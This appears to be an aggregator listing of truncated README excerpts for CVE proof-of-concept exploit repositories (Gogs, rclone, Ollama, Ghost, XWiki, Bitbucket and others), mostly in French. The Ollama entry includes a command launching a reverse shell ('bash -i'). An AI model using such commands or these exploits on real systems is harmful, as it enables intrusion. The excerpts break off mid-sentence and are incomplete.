bola-CVE-2023-27524

bola-CVE-2023-27524 📄 README.md — Демонстрационный проект BOLA CVE-2023-27524 root@kitploit: 🔐 Демонстрация нарушения авторизации на уровне объектов BOLA CVE-2023-27524 Анализ безопасности и исправление --- 📌 Обзор проекта Этот проект демонстрирует реальную уязвимость нарушения авторизации на...

CVE-2021-37580

Apache ShenYu Admin expose une vulnérabilité de contournement d'authentification. Un attaquant peut contourner l'authentification sécurisée JSON Web Token JWT via cette vulnérabilité et accéder directement au backend du système. Apache ShenYu est une solution de passerelle API extensible, hautes...

CVE-2025-8110

CVE-2025-8110 — Traversée de lien symbolique dans Gogs → RCE Vue d'ensemble CVE-2025-8110 est une vulnérabilité critique dans Gogs service Git auto-hébergé versions = 0.13.3. L'API PutContents valide les chemins de fichiers contre la traversée de répertoire ../ mais ne résout pas les liens...

CVE-2026-41179

CVE-2026-41179 — Exécution de Code à Distance RCE non authentifiée via l'API RC de rclone ⚠️ À DES FINS ÉDUCATIVES UNIQUEMENT Ce dépôt est destiné strictement à la recherche en sécurité, à l'éducation et aux environnements de laboratoire autorisés. PSSec et les contributeurs de ce dépôt...

CVE-2023-43208

CVE-2023-43208 Mirth Connect RCE PoC Script Python de preuve de concept ciblant CVE-2023-43208 dans Mirth Connect. Avertissement À utiliser uniquement dans des environnements qui vous appartiennent ou pour lesquels vous êtes explicitement autorisé à effectuer des tests. Ce dépôt est destiné à la...

CVE-2025-9074-PoC-Bash

CVE-2025-9074-PoC-Bash Le PoC original est : https://github.com/j3r1ch0123/CVE-2025-9074. Ceci est un nouveau PoC en bash car tous les conteneurs Docker n'ont pas Python installé, et il devrait être exécuté principalement depuis l'intérieur d'un conteneur. Étapes Depuis l'intérieur du conteneur,...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Nécessite d'être exécuté sous Linux, l'environnement doit avoir gcc Installer golang, exécuter la commande suivante pour lancer un shell inverse root@kitploit: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

CVE-2020-17518

CVE-2020-17518 RESTful API Apache Flink: произвольная загрузка файлов через обход каталога Apache Flink — это фреймворк и распределённый движок обработки для вычислений с сохранением состояния над безграничными и ограниченными потоками данных, разработанный на Java и Scala. REST-обработчик,...

CVE-2026-26980-PoC

CVE-2026-26980 — Injection SQL aveugle dans l'API de contenu de Ghost CMS Affecté : Ghost 3.24.0 – 6.19.0 Corrigé dans : Ghost 6.19.1 Authentification requise : Aucune — la clé d'API de contenu est publique Impact : Lecture non authentifiée de l'intégralité de la base de données identifiants, clé...

cve-2014-0521

Vulnérabilité CVE-2014-0521 dans Adobe Reader Cette vulnérabilité d'Adobe Reader basée sur JavaScript affecte toutes les versions d'Adobe Reader sur toutes les plateformes antérieures à la version 11.0.07 publiée le 13 mai 2014. Le bug a été découvert par Gábor Molnár et signalé le 10 mars 2014...

CVE-2021-42559

CVE-2021-42559 : Injection de commandes via les configurations dans MITRE Caldera Caldera versions =2.8.1 contient plusieurs « exigences » de démarrage qui exécutent des commandes lors du démarrage du serveur. Comme ces commandes peuvent être modifiées via l'API REST, un utilisateur authentifié...

CVE-2023-50780

CVE-2023-50780 : MBeans dangereux accessibles via l'API Jolokia dans Apache ActiveMQ Artemis En listant et en inspectant les MBeans exposés par l'API Jolokia à l'adresse http://127.0.0.1:8161/console/jolokia, les vecteurs d'attaque suivants ont été identifiés : Écriture arbitraire de fichier via...

CVE-2023-35085-POC-EXP

PS: すべてのスクリプトは Gemini 2.5 pro と CLaude 3.7 によって作成されました。私も、それをよく知っているふりをしたAIたちと同様に、API「/mifs/rest/api/v2/command/exec」の使い方が分からないため、うまく動作しないかもしれません。...

-CVE-2025-59528-PoC

CVE-2025-59528-PoC À DES FINS ÉDUCATIVES UNIQUEMENT Un script Python simple pour exploiter CVE-2025-59528, il s'agit d'une vulnérabilité RCE authentifiée dans l'application Flowise, un outil d'IA populaire, qui fait également partie d'un défi saisonnier HTB, sur lequel je l'ai testé d'ailleurs. S...

CVE-2021-41805

CVE-2021-41805 Hashicorp Consul RCE via l'API HashiCorp Consul Enterprise avant 1.8.17, 1.9.x avant 1.9.11, et 1.10.x avant 1.10.4 présente un contrôle d'accès incorrect. Un jeton ACL avec les permissions par défaut operator:write dans un espace de noms peut être utilisé pour une escalade de...

CVE-2025-32429

CVE-2025-32429 XWiki Injection SQL PoC Auteur : Byte Reaper Telegram : @ByteReaper0 CVE : CVE‑2025‑32429 Vulnérabilité : Injection SQL aveugle dans l'API REST XWiki LiveData Fichier affecté : getdeleteddocuments.vm paramètre sort Description : Une vulnérabilité d'injection SQL aveugle existe dans...

CVE-2023-23752

CVE-2023-23752 Vulnérabilité d'accès non autorisé à Joomla CVE-2023–23752 Ce fichier README fournit des informations sur la vulnérabilité d'accès non autorisé à Joomla CVE-2023–23752 et comment la détecter. Cette vulnérabilité permet à un attaquant de contourner le système de contrôle d'accès de...

CVE-2025-24000-exploit

CVE-2025-24000 — Exploit d'élévation de privilèges Post SMTP Aperçu Ce script exploite CVE-2025-24000 , une vulnérabilité de contrôle d'accès brisé de sévérité élevée dans le plugin WordPress Post SMTP versions ≤ 3.2.0. Il permet à tout utilisateur authentifié avec un compte à faibles privilèges...

CVE-2022-36804

CVE-2022-36804 - Vulnérabilité d'injection de commande dans Atlassian Bitbucket Server et Data Center ⚠️ À des fins éducatives et de recherche en sécurité autorisées uniquement Auteurs de l'exploit original Très reconnaissant à l'auteur original du PoC Walnut Security Services Pvt. Ltd Description...

CVE-2022-29464

CVE-2022-29464 WSO2 est un leader de diverses solutions SOA, comprenant l'infrastructure SOA associée, les frameworks techniques et outils connexes, les serveurs de processus, les serveurs d'applications, etc. Versions concernées 2.2.0 ≤ WSO2 API Manager ≤ 4.0.0 5.2.0 ≤ WSO2 Identity Server ≤...